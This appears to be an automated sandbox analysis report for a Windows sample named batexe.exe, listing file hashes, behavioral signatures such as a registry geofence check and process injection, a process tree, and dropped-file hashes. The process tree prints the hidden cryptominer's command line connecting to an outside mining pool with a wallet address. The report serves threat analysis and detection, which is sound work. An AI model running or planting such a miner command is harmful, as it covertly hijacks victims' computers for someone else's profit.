Analysis
-
max time kernel
303s -
max time network
308s -
platform
windows10-2004_x64 -
resource
win10v2004-20231215-ja -
resource tags
arch:x64arch:x86image:win10v2004-20231215-jalocale:ja-jpos:windows10-2004-x64systemwindows -
submitted
17/02/2024, 09:46
Behavioral task
behavioral1
Sample
batexe.exe
Resource
win10-20240214-ja
Behavioral task
behavioral2
Sample
batexe.exe
Resource
win10v2004-20231215-ja
General
-
Target
batexe.exe
-
Size
9.4MB
-
MD5
cdc9eacffc6d2bf43153815043064427
-
SHA1
d05101f265f6ea87e18793ab0071f5c99edf363f
-
SHA256
73cc2881ef511788661955a624db9baf40ac16bc63266c5c3bb3fe62b4856d72
-
SHA512
fc6945957e160bf7059c936c329aae438e6c1521e5e43a8434f58058230d89e818eb6ff80331a4b952dbb600b8cc134ecba54e5641bf549723c98f85e993fde6
-
SSDEEP
196608:ERAefrn9wcsTRAJgwusnWpV3h9XxSeEGaT+TKkGzySdUkI56kBIyky:E5Tn9YVwdnWLXxkvLlzkuv
Malware Config
Signatures
-
Checks computer location settings 2 TTPs 2 IoCs
Looks up country code configured in the registry, likely geofence.
description ioc Process Key value queried \REGISTRY\USER\S-1-5-21-635608581-3370340891-292606865-1000\Control Panel\International\Geo\Nation batexe.exe Key value queried \REGISTRY\USER\S-1-5-21-635608581-3370340891-292606865-1000\Control Panel\International\Geo\Nation b2e.exe -
Executes dropped EXE 2 IoCs
pid Process 3080 b2e.exe 3960 cpuminer-sse2.exe -
Loads dropped DLL 5 IoCs
pid Process 3960 cpuminer-sse2.exe 3960 cpuminer-sse2.exe 3960 cpuminer-sse2.exe 3960 cpuminer-sse2.exe 3960 cpuminer-sse2.exe -
resource yara_rule behavioral2/memory/2524-9-0x0000000000400000-0x000000000393A000-memory.dmp upx -
Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s).
-
Suspicious use of WriteProcessMemory 8 IoCs
description pid Process procid_target PID 2524 wrote to memory of 3080 2524 batexe.exe 84 PID 2524 wrote to memory of 3080 2524 batexe.exe 84 PID 2524 wrote to memory of 3080 2524 batexe.exe 84 PID 3080 wrote to memory of 4160 3080 b2e.exe 85 PID 3080 wrote to memory of 4160 3080 b2e.exe 85 PID 3080 wrote to memory of 4160 3080 b2e.exe 85 PID 4160 wrote to memory of 3960 4160 cmd.exe 88 PID 4160 wrote to memory of 3960 4160 cmd.exe 88
Processes
-
C:\Users\Admin\AppData\Local\Temp\batexe.exe"C:\Users\Admin\AppData\Local\Temp\batexe.exe"1⤵
- Checks computer location settings
- Suspicious use of WriteProcessMemory
PID:2524 -
C:\Users\Admin\AppData\Local\Temp\A9BD.tmp\b2e.exe"C:\Users\Admin\AppData\Local\Temp\A9BD.tmp\b2e.exe" C:\Users\Admin\AppData\Local\Temp\A9BD.tmp\b2e.exe C:\Users\Admin\AppData\Local\Temp "C:\Users\Admin\AppData\Local\Temp\batexe.exe"2⤵
- Checks computer location settings
- Executes dropped EXE
- Suspicious use of WriteProcessMemory
PID:3080 -
C:\Windows\SysWOW64\cmd.exeC:\Windows\system32\cmd.exe /c ""C:\Users\Admin\AppData\Local\Temp\B0D1.tmp\batchfile.bat" "3⤵
- Suspicious use of WriteProcessMemory
PID:4160 -
C:\Users\Admin\AppData\Local\Temp\cpuminer-sse2.execpuminer-sse2.exe -a yespower -o stratum+tcp://yespower.sea.mine.zpool.ca:6234 --userpass=DJXKcu8iouhRppneQL9XbYQ9ovs87y4cYZ:c=doge -t 34⤵
- Executes dropped EXE
- Loads dropped DLL
PID:3960
-
-
-
Network
MITRE ATT&CK Enterprise v15
Replay Monitor
Loading Replay Monitor...
Downloads
-
Filesize
165KB
MD552019c22e0bbfdce27f8a974e056b320
SHA1479f85f8b72a3f189d3bad1102d0bca53dbba36b
SHA256823f8c71ec2f3d94cd5084de859e4aa80073bee9c74571552cf7eb82492c6d36
SHA5127461029f59a06908872ce137ae3fca2c1321719067c700de9abe9160a07340a0e505027c3d3dad764f01a2e86e65af0540b62dbef3415c8fd2993f6b8b3f622b
-
Filesize
4.8MB
MD515bedbacfa4eca51d4f266ed8af73745
SHA1e5fce71e9deb0d2615f73a905bf1c0717fbfdcc7
SHA2565182c5eea9112884f9e8c96b583b56928cf0a4cb42e289bda727625b26df58b8
SHA5123460446dcb9085e55bae0d8e5b13d98b57f195f371c9724194238219d92f80052013b5fc5d3c038362abb12970fcdd33f0e4e741f9a377d1d5f1365800663ce7
-
Filesize
4.1MB
MD555075aad2654558e78c79389d328bd6c
SHA13c49741995c4eedb25ab33cc269abeed7e5a00b8
SHA256778ee0f65897dd81fdfe44499a01fd879b1c237acb9015a4b8afe1020809e440
SHA5120060002f1ddd8ba3d108c627afb31818998a107e866db7bf1de6ce534e4974c520e8a4a34a0925c1ecac868c5f85543afd169b1ad77b81521b88049bf784ec5f
-
Filesize
136B
MD58ea7ac72a10251ecfb42ef4a88bd330a
SHA1c30f6af73a42c0cc89bd20fe95f9159d6f0756c5
SHA25665e2674fc9b921a76deaf3740603359794c04e059e8937ab36eb931d65f40ec9
SHA512a908979d588625aa24eb81238d07d88a56be5388e1265ebd2fe09889ed807aa9a4af77107e72a843c31acadbe06db0d7f6f6a3c95fb481a71e549e8eb74c2ff0
-
Filesize
320KB
MD559d36bdd941feb6c770ec68a37e8c21b
SHA11191d1e478164cd720974ea1ad2bc248999a8d45
SHA256d5227dca74d9be12116b359c9d61265b102c0986eb6196e269cc3e3b895c0293
SHA512b1620dd0763f2f7c263ae69c71eba7cba29d89f1bb551356abb7073e4e7013347345c43f2bad3c4733300c5b98feecf2fd91db2a363c9e5dcdd87f170edbe406
-
Filesize
2.3MB
MD54c04147c386ba8792ac6a03069572a8a
SHA1dda67789fc1d0f2469ca95f01a5c81034853ca6a
SHA256c7739a1e940a282703d06eccda7110426d306f390e97fdbbd9df18472fd132cd
SHA512a8b5a0b878a9a7d30cb38feff814e1f4dce24d000158edc10a43ee9a89920bedf7adc92eb7e3913098b6aab7fbd0531f56fc09f508b5c2769992a94e55d153db
-
Filesize
836KB
MD5aeab40ed9a8e627ea7cefc1f5cf9bf7a
SHA15e2e8ca2881b9bf9edfa3c4fdcec6da1efa102d8
SHA256218cfc4073bab4eddf0de0804f96b204687311e20a9e97994bff54c9b0e01ee9
SHA512c0a67616fa01fdc351015212a718faf70da6612fbb3ec13da28dd7af9a507c56882fb7c3eea6fbc37d4d63b970157199d16d0756dbe3cb3bc2223e215cb104d8
-
Filesize
1.2MB
MD57cf672bee2afba2dcd0c031ff985958e
SHA16b82a205db080ffdcb4a4470fce85a14413f3217
SHA256c82f84171b9246d1cac261100b2199789c96c37b03b375f33b2c72afab060b05
SHA5123e90d1c1efe0200cb3cc7b51d04783a3cce8391faa6ce554cff8b23dac60be9f8e4f980a8ac005fd9dff8ea4bdcb02311f7649c5be28eb32dcc26417fc4090e5
-
Filesize
9.8MB
MD57769860df6e782024e64702601a827ad
SHA1d1fd441944beba627010ff16af3157716412b44d
SHA2565cfcba88c0b154ec2beb0759056f0c74209924a640e05ca9e8a2837c91d0c1cd
SHA512ce79a0f5a08c49946b789ac220e7d542c6344aea4ea3791ba3d53a696b9bf98e6a4a84711ce5c8cea795ace0b7e89f77cd5378a4bd3507f70d85142d0fc53278
-
Filesize
8.9MB
MD5391151559f30a390f30ace8c87d35176
SHA1208802546e213864efa94b9b3fc063ffea566f29
SHA2567f577e21f50d0fe2c1445926365d1367c875287242653190d9a9c467e276b7f7
SHA512d03baa82daab587a3e1a2cc4e7785aa7b517d198eda5ab1c38dc1c3da0b1b9a720e6623b204828fe632790b6621783e3f2a076e5830fc6f961f6a78ae6c53b0c
-
Filesize
8.1MB
MD5b001df57d9209222a88589930f66dd35
SHA112161c7a7bbf6fce4275a68ef4a251d88db25103
SHA256c6e390db6cb09ec63f31c4a9b1d3f338f072d58ea050e249b77a15e125a312de
SHA512aea6652dfd3b6d833459a0d0f60e4d919dc007db9aea68283d7fb60b17195dabb99b2049ced7098ec37d315795c0b255233511ab72795ce9735d5e04f88c8e69
-
Filesize
606KB
MD5585efec1bc1d4d916a4402c9875dff75
SHA1d209613666ccac9d0ddab29a3bc59aa00a0968fa
SHA2562f9984c591a5654434c53e8b4d0c5c187f1fd0bab95247d5c9bc1c0bd60e6232
SHA512b93163cba4601ed999a7a7d1887113792e846c36850c6d84f2d505727dc06524bb959469f9df12928769f4535dc6074a6b3599b788a4844353e466742ce1e770